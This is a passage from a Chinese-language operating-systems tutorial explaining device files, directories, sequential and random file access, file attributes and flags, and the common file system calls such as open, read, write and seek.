driver)。如果文件是常规文件,则数据由文件系统驱动程序处理,并且通常存储在磁盘或其他存储介质上的某块区域中,从文件中读取的数据就是之前在该位置写入的数据。当数据读取或写入到设备文件时,请求会被设备驱动程序处理。每个设备文件都有一个关联的编号,该编号标示要使用的设备驱动程序。设备处理数据的工作是它自己的事儿。块设备 也叫做块特殊文件,它的行为通常与普通文件相似:它们是字节数组,并且在给定位置读取的值是最后写入该位置的值。来自块设备的数据可以缓存在内存中,并从缓存中读取;写入可以被缓冲。块设备通常是可搜索的,块设备的概念是,相应的硬件可以一次读取或者写入整个块,例如磁盘上的一个扇区字符设备 也称为字符特殊文件,它的行为类似于管道、串行端口。将字节写入字符设备可能会导致它在屏幕上显示,在串行端口上输出,转换为声音。目录(Directories) 是管理文件系统结构的系统文件。它是用于在计算机上存储文件的位置。目录位于分层文件系统中,例如 Linux,MS-DOS 和 UNIX。它显示所有本地和子目录(例如,cdn 目录中的 big 目录)。当前目录是 C 盘驱动器的根目录。之所以称为根目录,是因为该目录下没有任何内容,而其他目录都在该目录下分支。1.4文件访问早期的操作系统只有一种访问方式:序列访问(sequential access)。在这些系统中,进程可以按照顺序读取所有的字节或文件中的记录,但是不能跳过并乱序执行它们。顺序访问文件是可以返回到起点的,需要时可以多次读取该文件。当存储介质是磁带而不是磁盘时,顺序访问文件很方便。在使用磁盘来存储文件时,可以不按照顺序读取文件中的字节或者记录,或者按照关键字而不是位置来访问记录。这种能够以任意次序进行读取的称为随机访问文件(random access file)。许多应用程序都需要这种方式。随机访问文件对许多应用程序来说都必不可少,例如,数据库系统。如果乘客打电话预定某航班机票,订票程序必须能够直接访问航班记录,而不必先读取其他航班的成千上万条记录。有两种方法可以指示从何处开始读取文件。第一种方法是直接使用 read 从头开始读取。另一种是用一个特殊的 seek 操作设置当前位置,在 seek 操作后,从这个当前位置顺序地开始读文件。UNIX 和 Windows 使用的是后面一种方式。1.5文件属性文件包括文件名和数据。除此之外,所有的操作系统还会保存其他与文件相关的信息,如文件创建的日期和时间、文件大小。我们可以称这些为文件的属性(attributes)。有些人也喜欢把它们称作 元数据(metadata)。文件的属性在不同的系统中差别很大。文件的属性只有两种状态:设置(set) 和 清除(clear)。下面是一些常用的属性没有一个系统能够同时具有上面所有的属性,但每个属性都在某个系统中采用。前面四个属性(保护,口令,创建者,所有者)与文件保护有关,它们指出了谁可以访问这个文件,谁不能访问这个文件。保护(File Protection): 用于保护计算机上有价值数据的方法。文件保护是通过密码保护文件或者仅仅向特定用户或组提供权限来实现。在一些系统中,用户必须给出口令才能访问文件。标志(flags)是一些位或者短属性能够控制或者允许特定属性。隐藏文件位(hidden flag)表示该文件不在文件列表中出现。存档标志位(archive flag)用于记录文件是否备份过,由备份程序清除该标志位;若文件被修改,操作系统则设置该标志位。用这种方法,备份程序可以知道哪些文件需要备份。临时标志位(temporary flag) 允许文件被标记为是否允许自动删除当进程终止时。记录长度(record-length)、键的位置(key-position)和键的长度(key-length)等字段只能出现在用关键字查找记录的文件中。它们提供了查找关键字所需要的信息。不同的时间字段记录了文件的创建时间、最近一次访问时间以及最后一次修改时间,它们的作用不同。例如,目标文件生成后被修改的源文件需要重新编译生成目标文件。这些字段提供了必要的信息。当前大小字段指出了当前的文件大小,一些旧的大型机操作系统要求在创建文件时指定文件呢最大值,以便让操作系统提前保留最大存储值。但是一些服务器和个人计算机却不用设置此功能。1.6文件操作使用文件的目的是用来存储信息并方便以后的检索。对于存储和检索,不同的系统提供了不同的操作。以下是与文件有关的最常用的一些系统调用:Create,创建不包含任何数据的文件。调用的目的是表示文件即将建立,并对文件设置一些属性。Delete,当文件不再需要,必须删除它以释放内存空间。为此总会有一个系统调用来删除文件。Open,在使用文件之前,必须先打开文件。这个调用的目的是允许系统将属性和磁盘地址列表保存到主存中,用来以后的快速访问。Close,当所有进程完成时,属性和磁盘地址不再需要,因此应关闭文件以释放表空间。很多系统限制进程打开文件的个数,以此达到鼓励用户关闭不再使用的文件。磁盘以块为单位写入,关闭文件时会强制写入最后一块,即使这个块空间内部还不满。Read,数据从文件中读取。通常情况下,读取的数据来自文件的当前位置。调用者必须指定需要读取多少数据,并且提供存放这些数据的缓冲区。Write,向文件写数据,写操作一般也是从文件的当前位置开始进行。如果当前位置是文件的末尾,则会直接追加进行写入。如果当前位置在文件中,则现有数据被覆盖,并且永远消失。append,使用 append 只能向文件末尾添加数据。seek,对于随机访问的文件,要指定从何处开始获取数据。通常的方法是用 seek 系统调用把当前位置指针指向文件中的特定位置。seek 调用结束后,就可以从指定位置开始读写数据了。get attributes,进程运行时通常需要读取文件属性。set attributes,用户可以自己设置一些文件属性,甚至是在文件创建之后,实现该功能的是 set attributes 系统调用。rename,用户可以自己更改已有文件的名字,rename 系统调用用于这一目的。
0
0
0
浏览量1951

履历